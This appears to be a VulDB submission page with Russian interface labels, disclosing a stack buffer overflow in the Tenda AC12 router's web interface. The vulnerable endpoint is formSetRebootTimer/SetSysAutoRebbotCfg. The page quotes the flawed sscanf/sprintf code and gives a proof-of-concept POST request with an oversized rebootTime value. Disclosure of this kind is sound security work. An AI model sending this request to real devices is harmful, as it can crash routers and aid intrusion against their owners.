Отправить #868922: Tenda AC12 US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin Buffer Overflow

A buffer overflow vulnerability was discovered in Tenda AC12 US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin. Attackers can exploit this vulnerability by specifying the value of rebootTime. When rebootTime is passed to formSetRebootTimer, parsed by sscanf, and used to format the fixed-size end_time buffer through sprintf without proper bounds validation, it may cause a buffer overflow.

Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/SetSysAutoRebbotCfg, registered as:
websFormDefine("SetSysAutoRebbotCfg", (void (*)(webs_t, char_t *, char_t *))formSetRebootTimer);

In formSetRebootTimer, the attacker-controlled rebootTime parameter is read from the HTTP request:
reboot_time = websGetVar(wp, "rebootTime", "02:00");

The destination buffer is a fixed-size stack buffer:
char end_time[12];

The rebootTime value is parsed by sscanf:
sscanf(reboot_time, "%d:%d", &end_hour, &end_min)

The parsed values are then formatted into end_time using sprintf:
sprintf(end_time, "%d%d:%d", end_hour / 10, end_hour % 10, end_min);

Because the attacker-controlled rebootTime input influences the values written into the fixed-size end_time stack buffer, and sprintf is used without an explicit output size limit, crafted rebootTime data may cause a buffer overflow.

Conceptual proof-of-concept request:
POST /goform/SetSysAutoRebbotCfg HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded

autoRebootEn=1&delayRebootEn=true&rebootTime=999999999999999999999999999999999999999:999999999999999999999999999999999999999

• Источник: ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/AC12/4.md
• Пользователь: stksgg (UID 97520)
• Представление: 25.06.2026 09:04 (2 месяцы назад)
• Модерация: 14.08.2026 07:29 (2 months later)
• Статус: принято
• Запись VulDB: 389954 [Tenda AC12 15.03.06.23_multi_TD01 httpd web management interface SetSysAutoRebbotCfg formSetRebootTimer rebootTime повреждение памяти]
• Баллы: 20